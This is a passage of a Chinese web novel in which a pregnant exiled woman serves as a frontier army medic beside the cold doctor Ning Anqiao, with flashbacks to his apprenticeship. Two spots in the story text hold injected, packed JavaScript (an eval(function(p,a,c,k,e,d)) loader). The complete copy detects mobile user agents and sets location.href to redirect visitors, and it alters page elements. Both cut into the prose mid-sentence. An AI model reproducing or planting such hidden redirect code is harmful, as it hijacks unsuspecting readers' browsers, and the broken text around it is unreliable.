我低头看了看,心中微微一紧。许是那晚上沾上取的,一直没去想,应该,不会出什么问题吧。 趁着阳光正好,便悄悄将裙子换下,端着木盆溜到药房背后。这里少有人来,晾晒衣物也不易被人察觉。 边疆的天,冷得像是能把人的骨头冻成冰碴子。我蹲在药房后的水缸旁,将裙子浸入水中,手指刚一碰到水面,就被刺骨的寒意激得缩了回来。 “嗷唔!好冰!” 我咬了咬牙,心里默念:“我可是人死在面前都面不改色的人,洗个裙子算什么!” 可这水,真是冷得让人想骂人。 我硬着头皮将裙子按进水里,血迹在水中晕开,像一缕缕淡红的烟。我用力搓洗,手指冻得通红,几乎失去了知觉。搓到一半,我忍不住打了个哆嗦,“这哪是洗裙子,分明是历练自己啊!” 好不容易将那片暗红彻底洗掉,我拧干裙子,抖开晾在竹竿上。阳光透过裙子的布料,在地上投下一片斑驳的影子。我搓了搓冻僵的手,正打算离开,却听见营帐另一头有人唤我。 “楚风?” 是宁安桥的声音。 “来了!” 我应了声快步出现在他面前,见他站在药房门口,手中捏着一张纸,目光淡淡地扫过我,又落在我来的方向。 “这是伤寒热病的药方,你照着煎了,送去给伤兵营。” 他将药方递给我,语气一如既往地冷淡,但不知是不是我的错觉,他的目光和说话的态度似乎都比之前柔和了些。 我接过单子,点点头:“好,我这就去。” 正要转身离开,他却忽然开口:“你在后面做什么?” 我顿了顿,答道:“洗衣服。” 他瞥了一眼竹竿上的裙子,唇角勾起一抹讥讽的笑:“荒漠里还这么讲究?” 我抿了抿唇,没有接话,只是将药方折好塞进袖中,转身朝药房走去。宁安桥的话像一阵风,吹过便散了,我并未放在心上。 进了药房,我取出药材,开始按照药方煎药。炉火渐渐升起,药香在空气中弥漫开来。我正专注地盯着药罐,忽然察觉到一道目光落在身上。抬头一看,宁安桥不知何时跟了进来,正倚在门边,目光沉沉地看着我。 我被他看得有些不自在,忍不住摸了摸脸,问道:“嗯?我脸上有什么吗?” 宁安桥点了点头,语气淡淡的:“有。” 我愣了一下,连忙用手在脸上胡乱抹了几下,却什么都没摸到。我歪着头,不解地看着他:“有什么?” 他没有回答,只是迈步走了过来。我下意识地屏住呼吸,看着他越走越近,直到停在我面前。他抬起手,修长的手指从我头顶轻轻捻起一根黄白相间的猫毛,捏在指尖晃了晃。 “哦,原来是这个。”我松了口气,笑着打马虎眼,“它晚上睡我头顶,我也没注意。谢谢宁医师。” 宁安桥似笑非笑地看了我一眼,随手将猫毛丢掉,转身走到一旁的药柜前。 我低下头,继续盯着药罐,脸上却有些发烫。 药房里安静得只剩下炉火的噼啪声和药汤翻滚的咕嘟声,可我的心思却早已不在药罐上了。 今天他好像没什么事做,居然一直待在药房。我被他看得有些不自在,手中的动作也不由得慢了下来。药房里安静得只剩下炉火的噼啪声和药汤翻滚的咕嘟声。 我一边煎药,一边忍不住用余光偷偷打量他。 阳光从药房的窗棂间洒进来,斑驳的光影落在他的侧脸上,勾勒出分明的轮廓。 宁安桥的个子很高,身形魁梧,肩膀宽阔得像是能扛起整片荒漠的风沙。乍一看,还以为是个带兵打仗的将士,举手投足间都带着一股凌厉的气势,与寻常医师的温润形象截然不同。大概是常年待在荒漠的缘故,他的肤色偏深,像是被风沙打磨过的古铜,在阳光下泛着微微的光泽,透着几分粗粝的质感。鼻梁高挺,下颌线条如刀削般硬朗,唇角总是挂着若有若无的冷意,仿佛对世间万物都带着几分不屑。 此刻,他正低头整理药材,修长的手指在药柜间轻轻拨动,动作干脆利落,仿佛每一寸力道都恰到好处。阳光透过窗棂洒在他的衣袖上,布料下的肌肉线条若隐若现,结实而有力,带着一种难以忽视的张力。他的手腕微微转动,衣袖随着动作轻轻滑落,露出一截小臂,皮肤在阳光下泛着淡淡的光泽,像是被风沙打磨过的古铜,粗粝中透着几分难以言喻的温柔。 我忍不住多看了两眼,心里莫名有些发紧。这样的他,明明该是个驰骋沙场的将军,却偏偏在这里摆弄药材,指尖轻捻间,仿佛连空气都变得沉静了几分。 我正偷看得入神,忽然—— “专心做事,不要分心。” 我吓了一跳,赶紧收回目光,低头盯着药罐,脸上有些发烫。他明明没有看我,怎么知道我在偷看他? 我犹豫了一下,还是忍不住开了口:“那什么,宁医师?你……认识医鹿山的柳砚清吗?” 他闻言,缓缓抬眸,目光如深潭般沉静,却在这一刻骤然波动,仿佛被什么击中了一般。 “怎么突然问起他?” 我指了指桌上那本医术,语气试探:“你似乎对这本书很熟悉。” 那本《鹿山本草玄录》,世间唯有医鹿山才有,宁安桥若对此书了如指掌,必然与医鹿山有着千丝万缕的牵连。 宁安桥沉默片刻,指尖轻轻抚过书页,忽然轻笑了一声,笑意中满是苍凉与苦涩:“柳砚清……是我师尊。” 话音落下,屋内一时寂静,仿佛连空气都凝滞了几分。他的声音低沉,却字字清晰,像是从心底深处撕扯而出,带着无法掩饰的沉重与怀念。 六岁那年,宁安桥的世界在一场疾病中轰然崩塌。 母亲病了,病得那样重。村里的郎中束手无策,摇着头说:“除非能找到医鹿山的仙人,否则……”后面的话,宁安桥没听清,也不敢听清。他只知道,母亲不能死,绝不能。 医鹿山是传说中的仙山,云雾缭绕,神鹿隐现。传说只有得到仙人指引,在山中偶遇神鹿的人,才能上山求医。宁安桥不懂这些传说,但他知道,这是他唯一的希望。 于是,某个清晨,他背起一个小小的包袱,里面装着几块干 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山中雾气更浓,如同一层无形的屏障,将外界隔绝。脚下的石阶被青苔覆盖,湿滑而古朴,每一步都像是踏在岁月的痕迹上。四周静得可怕,连鸟鸣声都消失无踪,唯有风声在耳边低吟,似是在诉说着什么古老的秘密。偶尔,几片落叶从头顶飘落,轻轻擦过他的肩头,宛如山灵在无声地注视着他。远处,隐约传来溪水潺潺的声音,却不知源头在何处,似乎这山中的一切都在若有若无间,虚实难辨。 宁安桥走了一天,又走了一天,却连一只神鹿的影子都没见到。干粮已经吃完了,他又饿又冷,只能靠山间的溪水和野果充饥。夜晚的山风刺骨,他蜷缩在一棵大树下,紧紧抱着母亲的旧衣,眼泪无声地滑落。 “娘,你一定要等我……” 就在他快要撑不下去的时候,忽然听见一阵清脆的铃声,像是从九天之外传来,空灵悠远。他勉强抬起头,视线穿过浓重的雾气,看见一个白衣男子立于不远处。那人手握一根青竹杖,衣袂随风轻扬,与山间的云雾一同流动,周身笼罩着一层淡淡的光晕,恍若从画中走出。 男子的面容清俊如月,眉目如远山般疏朗,透着一股不染尘埃的淡然。他的长发如墨,随意披散在肩头,发梢微微扬起,与白衣上的竹叶暗纹相映成趣。衣袍上,竹叶的纹路若隐若现,随着他的动作轻轻摇曳。他的足尖轻点地面,落地时,几瓣梅花无声飘落,像是随他一同从天而降,带着清冷的香气。 他的目光落在宁安桥身上,眼中似有怜悯,却又如深潭般平静无波,看透了世间一切,却又与这世间毫无瓜葛。 宁安桥怔怔地望着他,一时忘了呼吸。 山风拂过,不见梅林,却有一阵梅花的幽香,与那人的身影一同,深深印入他的眼底。 柳砚清看着瘫坐在地上的宁安桥,眼中浮现出一抹不忍。他缓缓蹲下身,衣袍如云般垂落在地,与周围的尘土形成鲜明对比。他的动作轻柔,仿佛怕惊扰了这个已经濒临崩溃的少年。 “是误入山林之人,还是寻医之人?” 宁安桥这才回过神头,额头猛地扣在泥地上。 “请仙长救救我母亲!母亲病重,我求了所有的大夫,都说只有医鹿山的仙人能救她!” “……凡人自有自的命数。” “我知道!”少年嘴唇颤抖着,几度说不出话来,“就请仙长……看看她吧。” 50. 昨日落花 院中的风轻轻拂过,卷起几片枯黄的落叶,在空中打着旋儿,最终落在宁安桥的脚边。老槐树的枝叶在风中沙沙作响,宛如低声诉说着什么。 柳砚清不过隔着黄土墙,便已察觉到屋内之人的气息。 是十日前。隐约还能感知到阴差来过此处。 “你在屋外等我。” 说罢,柳砚清只身进入屋内。 床上的母亲早已没了气息,身体也散发出令人窒息的味道。 仙人拂袖,将逝去之人安葬。 走出院外,少年的眸中闪烁着点点光芒。 他伸出手,修长的手指轻轻覆在宁安桥紧握的拳头上,掌心温暖而有力。宁安桥的手冰冷而颤抖,指甲深深嵌入掌心,渗出血迹。柳砚清的动作极轻,如同怕碰碎了什么脆弱的东西。 他的声音低沉而温和,恰似山间的清泉,缓缓流淌进宁安桥的耳中。 “你的母亲……已经走了,但你还活着。她一定希望你能好好活下去。” 宁安桥的身体猛地一颤,手指无意识地攥紧了衣角。眼泪无声地从眼眶中涌出,顺着脸颊滑落,滴在脚下的泥土里,溅起几粒微小的尘埃。他的嘴唇微微颤抖,似乎想说些什么,却发不出声音,只有喉咙里传来低低的呜咽。 他的目光空洞而茫然,仿佛失去了焦点,视线穿透了眼前的柳砚清,落在了某个遥远的地方。 那里,有母亲的笑容,有她的叮嘱,还有她温暖的怀抱。可这一切,如今都成了再也触碰不到的幻影。 宁安桥的双腿一软,整个人跪坐在地上,双手撑在泥土中,指尖深深陷入地面。他的肩膀剧烈地抖动着,像是要将所有的悲痛都倾泻出来。泪水模糊了他的视线,他却倔强地不肯闭上眼睛,仿佛只要睁着眼,就能将母亲的模样永远刻在心底。 风从院中吹过,卷起几片枯黄的落叶,轻轻落在他的肩头。宁安桥没有动,只是低着头,任由泪水一滴一滴地砸在地上,溅起细小的水花。 柳砚清站在一旁,静静地看着他,没有出声打扰,只是目光中多了一丝难以言喻的复杂情绪。他知道,有些痛,只能靠时间去抚平,而此刻的宁安桥,需要的正是这样一场毫无保留的宣泄。 许久,柳砚清蹲下身,手指轻轻掰开宁安桥紧握的拳头,将他掌心的泥土一点点拂去,动作细致而温柔。他的指尖触到宁安桥掌心的伤口,微微一顿,随后从袖中取出一方素白的帕子,轻轻为他擦拭。 “你叫什么名字?”柳砚清再次问道,声音比之前更轻,像是要和眼前的少年定下某种契约。 “宁……宁安桥。” 柳砚清点了点头,目光依旧停留在他的脸上。 “从今以后,你便跟着我在医鹿山学医。”他拂去少年脸的灰尘,“医者手中握的是命,心中装的是愿。学医,不是为了悬壶济世,而是为了有朝一日,能护住你想护的人,救回你想救的命。” 仙人修长而白皙的手,指尖还沾着一点泥土,却在此刻显得无比温暖。宁安桥怔怔地看着那只手,眼泪再次涌出,顺着脸颊滑落。 他犹豫了一下,最终还是紧紧回握住了柳砚清的手。 那只手的力量将他从地上拉起,也将他从无尽的黑暗中拉了出来。 风依旧在吹,老树的枝叶依旧在沙沙作响。 从那以后,宁安桥便留在了医鹿山,成了柳砚清的弟子。柳砚清教他医术,教他识药辨草,也教他如何面对生死。 可宁安桥的心中,始终有一道无法愈合的伤。那道伤,像是深埋在他骨血里的刺,平日里不显,在夜深人静时隐隐作痛。 他开始用冷漠的外表掩饰自己,将所有的情绪深埋心底,不愿让任何人看穿他的脆弱与伤痛。那张清秀的面容上,渐渐褪去了少年的稚嫩,取而代之的是一层淡淡的疏离与坚毅。他学会了用沉默代替言语,用冷静掩盖内心的波澜,仿佛只有这样,才能让自己在失去母亲的阴影中站稳脚跟。 转眼间,宁安桥在医鹿山度过了十五年岁月。他学成下山,没有回到那个充满回忆的村子,也没有选择进宫做一名御医,而是主动请缨去了边疆,做了军医。 “医者之道,不在于救一人,而在于救天下人。纵使前路荆棘,我亦愿以身为灯,照亮众生之苦。” 这句话是他下山前,在医仙殿前默默许下的誓言。 可宁安桥知道,他救不了所有人,也救不了那个最想救的人。 边疆的风沙凛冽,吹得人睁不开眼。营帐外,伤兵的呻吟声此起彼伏,宁安桥穿梭其间,手中的银针与药草成了他唯一的武器。他救了许多人,可每当他低头看着那些染血的绷带,眼前总会浮现出那个人的面容。 趁着阳光晒一晒,去去霉气,我将泥炉搬至营帐外,躲在晾晒的衣服阴影下享受塞北的秋光。 来的这些天不是下雨就是天阴,太阳是有,不过转瞬即逝。 如此热烈的太阳,雨应该是下不来的。 嘀嗒—— 一滴水珠落在我的脸颊上,我仰起头,天空毫无征兆地洒下了细雨。 我急忙将炉上的药罐取下,躲进帐中,放下那珍贵的汤药后,又冒雨抢收晾晒在外的衣物。 一来二往,全然忘了自己现在身体特殊,直到肚子隐隐作痛才心生后悔。 “跑这么急做什么……” 我撑着桌子缓缓坐下,只来回的功夫,额头上已布满细密的汗珠,后背的衣衫也被汗水浸湿,贴在皮肤上,带来一阵凉意。 我低头看着自己尚且平坦的小腹,手掌轻轻覆在上面,指尖微微颤抖。虽然肚子还未显怀,但我知道,那里正孕育着一个小小的生命。 军营里的日子虽不算太糟,但总让我觉得如芒在背。贺祈骁将军亲自打过招呼,士兵们对我倒也客气,见面时总会点头致意,甚至有人会主动帮我搬药箱、递工具。可即便如此,我仍能感觉到一些若有若无的目光,像是暗处有什么东西在窥探,让人心里发毛。 偶尔,我会在营地的角落里听到几句压低声音的议论:“听说她是将军亲自安排进来的,也不知是什么来头……” “一个女人,不在家相夫教子,跑到军营里来,总让人觉得怪怪的。” 这些话虽不至于让我难堪,却像一根根细小的刺,悄无声息地扎进心里。更让我不安的是,我和孩子的未来。这个孩子来得突然,我甚至还没想好该如何面对他。在这满是刀光剑影的军营中,我能护得住他吗?若是被人发现,我又该如何自处? 我低头看着自己尚且平坦的小腹,指尖轻轻抚过,心中五味杂陈。贺祈骁将军的庇护固然让我免于明面上的刁难,可暗地里的风言风语和那些若有若无的窥探,却让我始终无法真正安心。 帐外传来一阵脚步声,由远及近。我抬起头,心中隐隐有些不安。 果然,帘子被人粗暴地掀开,几个士兵站在门口,脸上带着不怀好意的笑容。 “哟,这不是咱们的新来第一天就送了五条人命的“女医师”吗?怎么,一个人躲这儿,不敢出门了?”为首的男子语气轻佻,目光在我身上来回扫视,最后停在我身上,眼中闪过讥讽。 我下意识地挺直了背脊,橘猫似乎也感受到了气氛的变化,竖起尾巴,警惕地盯着来人。 “有什么事吗?”我强装镇定,语气却有些发抖。 “没什么,就是来看看你有没有空。”男子迈步走进帐中,随手拿起一包草药,掂了掂,又丢回桌上,“既然是流放至此,那就该有罪犯的觉悟。” “什么意思?” “意思就是——”他俯下身取下我头上的白梅步摇在手中玩弄,“除了本职工作,你也该做点别的,不是吗。” 我咬了咬唇,没有接话。 男子冷哼一声,瞥了眼角落那张简易的床榻,转身带着其他人离开了。 帐帘重新落下,帐内瞬间恢复了寂静,只剩下我低低的啜泣声。我抿住嘴唇,努力不让自己哭出声来,可眼泪却不受控制地滑落,一滴一滴砸在手背上,温热又冰凉。 刺儿的话在耳边反复回响,我闭上眼,脑海中不由自主地浮现出颜卿的身影。他站在梅树下,眉眼如画,手中握着一卷书,唇角带着淡淡的笑意。那时的他,总是用温柔的目光注视着我,仿佛这世间的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不晓得过去了多久,麻木地切草、凿冲、整理让我完全忘了时间。听见声音我忙抬头,暖色的夕阳沉在他身后,被落下的帘子隔绝。 宁安桥沉着目光,表情还是一如既往地清淡。 “小家伙自己来的。” 我看了眼腿上丝毫没被宁安桥进来打扰的猫猫。 “它居然不怕你?”我看向宁安桥,“你们认识?” 宁安桥随口“嗯”了声,径直走到我身边,视野内的光瞬间被他高大的身形遮挡。 “你好高啊……带兵打仗的身子,却行了医?” “麻黄、干姜、秦艽、阿胶、艾叶,还有青竹茹。” 宁安桥对我的话毫无兴趣,放下新送来的草药便要走,忽而又脚步一顿,转头向我望来。 “秦艽同阿胶艾叶煎服。” 我点头记下,“好。是谁需要吗?我煎好给他送去。” 宁安桥抬起头,目光冷冽地扫过我,眼神像刀锋一样锐利,语气毫无波澜。 “你真的是师尊教出来的徒弟吗?” “嗯?师尊?” 他几不可闻地叹了口气。 “这是安胎的方子。” “……” 见我愣住,他拿起一旁桌上的纸笔,笔尖在纸上沙沙作响。 “等分为末,每服三钱,以水一大碗、糯米五十粒煎服。” 我接过药方,依旧怔愣。 安胎? “等一下。”我诧异地抬头,“你……怎么知道……” 他面无表情地看着我,似乎是无语我怎么问出如此愚蠢的问题。 “我是一名医者,你说我怎么知道的。” 他又环视一圈杂乱的药房,堆在角落的药草袋和一桌子的凌乱。 “先把药吃了,剩下的我来处理。” “你……从什么时候?”我低声问道,声音有些颤抖。 “那摊血迹,还有你的肚子。”他冷冷地说道,“你瞒得了别人,瞒不了我。” 我咬了咬唇,心中一阵酸楚。 宁安桥走到我身边,蹲下身,抓起我的手腕,动作干脆利落,没有一丝多余的情感流露。 他抬眸看了看我,明明是在关心,语气却冷得毫无温度。 “莫要再动了胎气。” 我点了点头,眼中泛起一丝泪光。 “谢谢你,宁医师。” 他起身离开,只在落下帐帘前冷冷地丢下一句:“若担心有人欺负你,就来和我住吧。” 51. 月落乌啼 药房的木椅上,我手里捏着一把干草药,轻轻揉搓。药房里弥漫着淡淡的药香,混合着边疆特有的风沙气息。小猫懒洋洋地趴在我的脚边,尾巴有一下没一下地甩动着,偶尔抬起头,用那双琥珀色的眼睛瞥我一眼。 我低头看了看它,苦涩的脸上嘴角也会不自觉地上扬。 “猫咪啊,你这么可爱,能不能告诉我为什么呀?” 当然不是问它为什么这么可爱,而是宁安桥昨天为什么说那句话。 若担心有人欺负你,就来和我住吧。 什么意思?觊觎我绝美的容貌?还是他当军医久了想研究研究待产孕妇? 呵,我开玩笑的。 虽然他的语气还是那么冷淡,像是随口一提,但我能感觉到他话里藏着的那点关心。只是,我怎么能答应呢?军营里人多嘴杂,我若是搬去和他同住,闲言碎语怕是少不了。 “随你便。” 他当时只是淡淡地丢下这么一句,转身就走了。 小猫轻轻蹭了蹭我的脚踝,低低地“喵”了一声,拉回我的思绪。我伸手摸了摸它的脑袋,挠了挠它的下巴,心里稍稍安定了一些。 “可爱的猫猫叫什么名字呀?要不要姐姐给你取个名字呀?” “喵唔~” “好呀?那,叫什么呢——肥猪?馒头?烤馕?还是……” “它叫二胖。” 药房的门被推开,一阵冷风灌了进来。我抬头看去,是宁安桥。他依旧是一副冷冰冰的模样,手里拿着一卷医书,目光在我身上停了一瞬,随即移开,走到药柜前开始翻找药材。 “二胖?”我噗嗤笑出声,“为什么是二,老大呢?” 宁安桥抬手取下最上层的黄杨木。 “因为是二将军的猫,所以叫二胖。” 二将军的猫?原来是贺祈安将军的猫,那它天天跟我吃跟我睡,二将军从未来药房寻过它,也不曾听说二将军的猫丢了的话。 “药煎好了吗?” 他放下手中的药,宁安桥又径直走向另一排药柜开始按照手中另一方子抓药。 “嗯,已经煎好了。”我站起身,走到药炉旁,将煎好的药倒进碗里,“我现在送过去吧。” “不用。”他自然地端走我手中的药碗,“少走动。之前给你的药,今天喝了吗?” “还没……” “那就快去。”他无奈地摇了摇头,“对自己的事一点不上心。” 他端着药碗,转身出了营帐,帘子在他身后轻轻一荡,遮住了他的背影。我站在原地,脑子里空空的,像是被人抽走了思绪,只剩下他刚才低沉的嗓音在耳边回响,挥之不去。 脸上突然热了起来,像是被火苗轻轻舔过,热意从耳根一路烧到脸颊。我下意识地抬手摸了摸脸,指尖触到的温度让我心里一跳,赶紧低下头,假装整理衣袖,生怕被人看出什么端倪。 脚边的小猫不知什么时候凑了过来,毛茸茸的脑袋蹭着我的脚踝,软软的,痒痒的。我蹲下身,摸了摸它的脑袋,试图借这点动作掩饰心里的慌乱。可手指却不自觉地有些发抖,连带着呼吸也变得轻飘飘的,像是踩在云端,脚下没个着落。 帐外的风轻轻吹进来,帘子微微晃动,带着一丝凉意。我深吸了一口气,试图让自己冷静下来,可心跳却像是被什么牵住了似的,怎么也慢不下来。脑子里乱糟糟的,像是塞了一团棉絮,理不清,也抓不住。 “想什么呢我……” 我咬了咬唇,心里暗暗骂自己没出息,本性难移。 就是这副德行才搞出九个男人的喂!我清醒一点! 可嘴角却不受控制地微微翘起,像是藏了什么见不得人的秘密。 日子一天天过去,我和宁安桥的关系似乎也在不知不觉中发生了一些微妙的变化。虽然他还是那副冷冰冰的模样,但偶尔,我能从他的眼神中捕捉到一丝温柔。 那天,我正在药房里煎药,小猫依旧趴在我脚边打盹。宁安桥推门走了进来,手里拿着一包新到的药材。他走到我身边,将药材放在桌上,低头看了看药炉里的火候,淡淡地说道:“火太大了,药会糊。” 我连忙将火调小了一些,“谢谢宁医师提醒。” 他看了我一眼,目光在我脸上停了一瞬,随即移开,“我只是不想浪费药材。” 我笑了笑,没有再多说什么。 “身体好些了吗?”他突然开口。 我愣了一下,随即点头,“还好,已经没有异样了。” “累了就休息,别总是逞强。” “嗯。” 除了开始关心起我外,我最近发现宁安桥总是喜欢在背后偷偷观察我。 大不部分时候他躲闪及时,没有被我抓住,但也有看出神的时候。 再某一天,我装好药材准备端着药壶去炉上,恰好转过身对上宁安桥的视线。能叫对上吗……准确来说是我发现他在看我。目光落在我身上,眉头微蹙,神情严肃,比颜卿神烦人的表情还恐怖。 “宁医师?”我抬手在他面前晃了晃。 没反应。 “宁医师!” 提高点音量才把他的意识唤醒。他惊得颤了一下,眼神躲闪着找借口说自己在想事情。 什么事情要看着我想? 不过比起看我出神我更倾向于是他想事情时视线正好落在我身上。 无缘的桃花能扼杀在摇篮就赶紧抹杀掉吧。 随着日子一天天过去,我的孕肚虽然还不算明显,但还是能感觉到一些异样的目光。 其实相处久了大部分士兵还是挺友善的,十几岁便离家的少年,守着边疆与荒漠,我的到来多少给这份枯燥带来些乐趣。他们知道我经常待在药房,也不喜欢四川闲逛,空余时间就喜欢路过药房,从门口看我在做什么,打打招呼说说话。 但是吧,人嘛,有善人也有恶人。 我也慢慢习惯了那些异样的眼光和讽刺难听的话,虽然心里不好受,偶尔低落,转念一想都是可怜的人,何必跟他们计较。 五条人命已经足够了。 神器似乎一直守在我身边看不见的地方,只有察觉到我有危险它才会显现。有时候显出一半,发现是玩笑乌龙,立马又消失了。 今天营外又传来嘀嘀咕咕的声音。 “你们很闲吗?要不要去操练场跑几圈?” 一道陌生的声音在门口响起,那些士兵立刻噤若寒蝉,纷纷逃散。我正要起身去看来者何人,对方已经率先走了进来。 阳光从帐外斜斜地洒进来,勾勒出他挺拔的身影。他一身玄色轻甲,腰间佩剑,眉目冷峻,目光如刀般扫过帐内,最后落在我身上。 “二将军?!” 居然是贺祈安。 我愣了一下,随即起身行礼。 他微微颔首,算是回应,随后径直走到我身边,对上我的视线随之又转移到我的脚边。 啊,原来是来找猫。 我笑着退后两步,让开点距离。 “二胖最近过得挺好,食量大睡得也香。” “二胖?” 他眉头一挑,表情有点古怪。 我心里一紧,突然觉得不对劲。 “啊……它……不是叫二胖吗?” “……” 他没说话,就那么看着我,眼神里有点无奈,又有点好笑。 宁安桥居然骗我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139026|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我赶紧干笑两声,试图挽回局面:“抱歉啊二将军,我也是听别人说的这名字……” 他摆了摆手,没什么表情:“没事。”停了一下,又补了一句,“二胖也挺好。” 我松了口气,忍不住好奇:“那它本来叫什么?” “橘猫。”他回答得干脆。 我差点笑出声:“橘猫?这么随便的吗?” 他低头看了眼那只正懒洋洋翻身的猫,声音没什么起伏:“路上捡的野猫,没想那么多。” 原来是这样。 我蹲下来,揉了揉橘猫的脑袋,小声嘀咕:“看来你这名字也挺随意的嘛,二胖。” 橘猫“喵”了一声,像是在回应我,然后又眯起眼睛,继续打它的盹。 他站在旁边,看着我和猫的互动,嘴角微微动了一下,像是想笑,但又忍住了。 “二将军来药房是有什么需要吗?” “是。大将军找你。” “……找我?” 我撩开营帐的帘子,阳光斜斜洒进来,在贺祈骁肃然的脸上投下淡淡光影。他端坐在案几后,面前摆着酒壶和几碟精致小菜,神色淡然,却让我心头骤然发紧,沉重得仿佛压了千斤重担。 “坐。” 他抬眼扫过我,浑厚的嗓音在帐内回荡。 我勉强扯出笑意,缓步走到他对面,双手交叠置于膝上,脊背挺直地端坐下来。 他执起酒壶,娴熟地往我面前的杯盏中倾注。琥珀色的酒液缓缓注入杯中,发出细微声响。我盯着那杯酒,正思忖着该如何婉拒,却见他忽然勾起唇角,露出自嘲的笑意,随手将那杯酒泼在了地上。然后提起旁边的青瓷茶壶,重新为我斟了清茶,推至我面前。 我浅笑着颔首致谢,饮下面前的一盏茶。 “大将军今日召见,不知有何要事?” 贺祈骁一饮杯中的酒,喉结滚动,酒液入喉。放下酒杯时,他长舒一口气,嘴角微扬,眼里透着释然与复杂。手指轻抚杯沿,低声叹道:“好酒。”语气里带着满足,又似藏着未尽之言。 “难得休战太平,想与你说说话,叙叙旧。你来军营已有月余,除却初来那晚和次日清晨,我们还未曾好好说过话。” “大将军军务繁忙,还能记挂奴家,实在感激不尽。” “哪里的话。今天来,是想给你讲个故事。你应该听说了,我们贺家本是三兄弟,我,二弟祈安,还有一个三弟。” 我望向身旁贺祈骁的表情,突然有些犯难。 “将军……为何突然跟我讲这个故事?” 贺祈骁放下了手中的酒盏,对我翘起嘴角。 “听完以后你就明白了。” 男人瘫跪在地,他的喉咙里发出的声音不知道是哭是笑。 “安桥……走吧。” 贺祈安试图拉上跪在地上的人一起离开,夜色将至,荒漠里的狼群即将出没,他们必须赶在太阳落山前回营。可宁安桥却甩开贺祈安的手,佝偻的背影无力地似要隐没于荒漠。 “我救不了他……” 他捂着绝望的脸,重复着相同的话。 “我救不了他……我学医到底是为什么……为什么还是……救不了他……” 破碎的声音沙哑无助,近乎某种绝望的控诉。 风卷起沙粒,打在两人的衣袍上。贺祈安的目光越过宁安桥,望向远处逐渐暗沉的天际。 “这不是你的错。” 因为有些事情,注定无法挽回。 这是凡人的命数。 那位神仙是这么说的。 夜色彻底降临,荒漠中的风声夹杂着狼嚎,宁安桥没有动,只是缓缓闭上了眼睛。 52. 罗幕遮香 肚子一天天大起来,好在军营能找到些宽大的布,给自己做了条裙罩围起来。 暴露是迟早的事。 比起暴露,我更担心的是如果临盆生产,我一个人该怎么办。 也不晓得现在去跟宁安桥说同意我搬去他住的请求还来得及吗。 虽然是有些奇怪,一个待产孕妇,搬去和陌生的男人住一起,我就这么没有危机感吗?还是说,宁安桥与我而言根本感觉不到危险。除了言语上的揶揄和打击,说实话,宁安桥人挺好的。安胎的药有好几味药材军营中是没有的,听贺祈安说过,是宁安桥特意托人从最近的环州府带来的。 我是不是该好好谢谢他? 十二月的北地真的能冻死人。 与东凉的战争已经持续了整整三个月,双方都付出了惨重的代价,战场上尸横遍野,血流成河。无论是兵力还是士气,两边都已接近极限,胜负难分,最终陷入了僵局。谁也没想到,这场无休止的厮杀竟在寒冬腊月迎来了转机——边塞突然进入了短暂的平静,伴随着漫天的飞雪,一切都沉寂了下来。没有人知道这究竟是祸是福,但无论如何,这难得的和平给了所有人喘息的机会。 士兵们终于可以放下手中的刀剑,疲惫的身躯得以休整。伤兵们被抬回营帐,宁安桥和我忙着为他们疗伤;而那些侥幸未受伤的将士,也终于能卸下铠甲,躺在简陋的床铺上,沉沉地睡上一觉,敞开喝。 边塞的风依旧凛冽,但战火的硝烟暂时消散。养精蓄锐,成了此刻最重要的任务。无论是身体还是心灵,都需要在这短暂的和平中恢复元气。毕竟,谁也不知道,下一次的厮杀何时会再度降临。 “所以,什么时候是个头啊。” 来年开春,又是新的厮杀吗。 我的星辰,能平安落地吗。 病房里的人打趣我的裙罩,说像老家妇人们带的,我也只能笑着应付。笑裙罩我没意见,但听不得有人说我胖了。 哪里胖了!乱讲话! 自从怀有星辰后,我发现自己连着性子也开始变得古怪。会突然很开心不自觉笑出声,会突然伤心痛哭流涕,成了感性的文人一般。 “若论此时的天光,正如我无处停靠的心,惶恐担忧。” 抓药的人回过头来,很认真地看了我一眼。我对上他的视线,泪眼婆娑,下一秒,眼泪顺着右眼的眼角滑落。 “怎么了?” 听则漫不经心,则是暗藏温柔的询问。 我抬手拂去泪水,垂眸看向手里的药。 “灯心草,煎汤代茶,治不眠之夜。可心病着,哪是区区灯心草能治愈的。” “……” 那人不再看我,回过神去继续做手里的事情。 我沉思片刻,猛地委屈翻涌,趴在桌上毫无征兆地大哭起来。 如若宁安桥现在问起我为什么哭,我是答不上来的。只是突然想哭,便趴在桌上哭了。就是,突然很伤心。 果不其然,宁安桥放下手中的事朝我走来。只是他不是来问我哭什么,而是让我挪一挪,压着他的药方了。 “你……你不安慰我吗?” 他只看了我一眼,“别哭了。” ……完了?安慰结束了? “哇啊——” 我哭得更伤心了。 宁安桥瞬间涌上一股无可奈何的怒气,可是面对一个怀有六个月身孕的孕妇,你不能做什么。打不得、骂不得、赶不得。他替我捋了捋凌乱的头发,问道:“要不要搬来我和我住?” 我错额地抬头看向他。 他继续说:“天转凉,药房没有暖炉。而且……”他轻咳了声,“我可以方便照看你。” 不知为何,我现在有另一股冲动涌上心头。 我悄悄直起腰抄过手抱住了宁安桥的腰,埋进他的小腹。他的腰一下子挺了起来,沉默了片刻,颤颤巍巍地抱住我的头。 分明是我先主动的,转瞬间害羞不自在的人成了我。可温暖的怀抱让我舍不得松开,我靠在他温暖欺负的腹上蹭了蹭,心终于沉静下来。 “我要搬去和你住。” “嗯。” 我又想起别的事来,一笑,说:“今晚好像说煮腊肉锅吃。” “不能吃。” “为什么?” “孕期不能吃。” 好一会儿,我才说:“那我今晚岂不是没有吃的?” “我让伙房给你单独做了菜。” “……嗯。” 是真该好好谢谢他了。 简单收拾,宁安桥带上我的行李,而我则抱着二将军的猫住进了宁安桥的营帐。 